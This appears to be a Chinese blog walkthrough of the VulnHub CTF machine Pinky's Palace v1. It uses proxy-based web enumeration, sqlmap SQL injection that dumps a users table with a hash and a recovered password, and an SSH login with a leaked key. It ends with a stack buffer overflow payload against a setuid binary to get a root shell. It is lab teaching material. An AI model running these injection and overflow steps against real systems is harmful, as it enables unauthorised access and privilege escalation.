No.26-VulnHub-Pinky's Palace: v1-Walkthrough渗透学习

**

VulnHub-Pinky’s Palace: v1-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v1,225/
靶机难度:中级(CTF)
靶机发布日期:2018年3月6日
靶机描述:Box信息:使用仅DHCP主机和桥接适配器类型在VirtualBox上进行了测试。
难以获得用户:简单/中级
扎根困难:容易/中级
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-01-22

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
在这里插入图片描述
我们已经找到了此次CTF目标计算机IP地址:192.168.56.127
在这里插入图片描述
nmap扫除开放了8080、31337和64666端口…
在这里插入图片描述
访问8080,返回403错误…遇到这种情况通常有两种解释:要么是WAF(Web应用程序防火墙)阻止了,要么是服务器配置完全拒绝了访问…
如果是WAF阻止了,对于现在的环境有些不可能…所以应该是服务器拒绝了访问…
因此估计要绕过http代理才能访问Web服务器…使用31337代理…
在这里插入图片描述
命令:curl --proxy http://192.168.56.127:31337 127.0.0.1:8080
这里使用127.0.0.1是因为,通过代理传递http请求时,127.0.0.1指向代理服务器的本地主机(192.168.56.127),而不是我们的计算机…上面验证了可以使用代理去访问…
在这里插入图片描述
这边修改浏览器代理为31337…
在这里插入图片描述
然后用本地IP去访问8080端口…但是出现的页面没有有效的信息…
这边使用dirb或者gobuster都可以爆破目录…
在这里插入图片描述
命令:gobuster -p http://192.168.56.127:31337 -u http://127.0.0.1:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
发现/littlesecrets-main目录…
在这里插入图片描述
在这里插入图片描述
尝试admin默认账号密码登录跳转到这个界面…用户密码错误…
当访问logs.php时…
在这里插入图片描述
存在sql注入,直接用sqlmap扫…
在这里插入图片描述
命令:sqlmap --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=3 --proxy http://192.168.56.127:31337 --data=“user=admin&pass=admin” --dump
发现用户代理确实可被利用,我再次配置了sqlmap,这次在db中生成表列表…
在这里插入图片描述
命令:sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.56.127:31337 --data=“user=user&pass=pass&submit=Login” --level=5 --risk=3 --dbms=mysql --tables
在这里插入图片描述
命令:sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.56.127:31337 --data=“user=user&pass=pass&submit=Login” --level=5 --risk=3 --dbms=mysql --dump users
pinkymanage:d60dffed7cc0d87e1f4a11aa06ca73af
在这里插入图片描述
pinkymanage 、3pinkysaf33pinkysaf3
登录…
在这里插入图片描述
不允许sudo…
在这里插入图片描述
现在有了用户列表信息…注意用户pinky…
在这里插入图片描述
查看了下目录…确定了用户pinky的存在…
在这里插入图片描述
用户的主目录没有啥内容,限制了很多目录查看…我进入了web目录看…发现了note.txt文件,意思是藏了一个rsa密匙在这儿…进去看看…
在这里插入图片描述
发现密匙后,前面介绍是rsa密匙,这边将内容放到本地上试试能登录吗…
在这里插入图片描述
不能登录,把解码后的base64在放入文本试试…
在这里插入图片描述

二、提权

成功登录…
在这里插入图片描述
因为没有密码,无法使用sudo提权…这边查看到adminhelper二进制文件具有root权限…查看下
在这里插入图片描述
同时具有setuid和root权限…(ELF)这边尝试下是否可以插入shell…
在这里插入图片描述
开始执行它没反应…后来只回复了我一个输入值…怀疑具有缓冲区溢出…我试试python输入看看…
在这里插入图片描述
命令:./adminhelper $(python -c “print ‘A’*100”)
提示分段故障了…证实了存在缓冲区溢出问题…这边需要找出堆栈溢出值…

在这里插入图片描述
触发段错误找到了段错误的边界为72…
在这里插入图片描述
启动gdb来检查程序…发现spawn函数(这边可以利用spanwn函数进行提权)
在这里插入图片描述
我运行了spawn函数…现在我要触发堆栈溢出以重定向程序执行,来覆盖EIP中的返回地址…
在这里插入图片描述
命令:gdb --args ./adminhelper $(python -c “print ‘A’*72+‘B’*6”)
这边发现了42,它是“ B”的十六进制值…现在需要重定向执行得想计算出内存地址…
在这里插入图片描述
看到目标内存地址是0x00005555555547d0,创建外壳需要注入了5555555547d0,以避免在shellcode中有空字节…在shellcode中,字节顺序相反,因为该体系结构为低端字节序…所以:(\xd0\x47\x55\x55\x55\x55)
很好理解…
在这里插入图片描述
命令:./adminhelper $(python -c “print ‘A’*72+’\xd0\x47\x55\x55\x55\x55’”)
这边利用缓冲区溢出的栈溢出执着了外壳成功…
在这里插入图片描述
成功利用shell获取了root权限…由于此靶机都安装了python等工具能直接利用在内部对二进制漏洞制作shell,才顺利的拿到了root和查看到了flag…

加油!!!!

由于我们已经成功得到root权限&找到flag.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

发布了27 篇原创文章 · 获赞 4 · 访问量 4305

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/104065411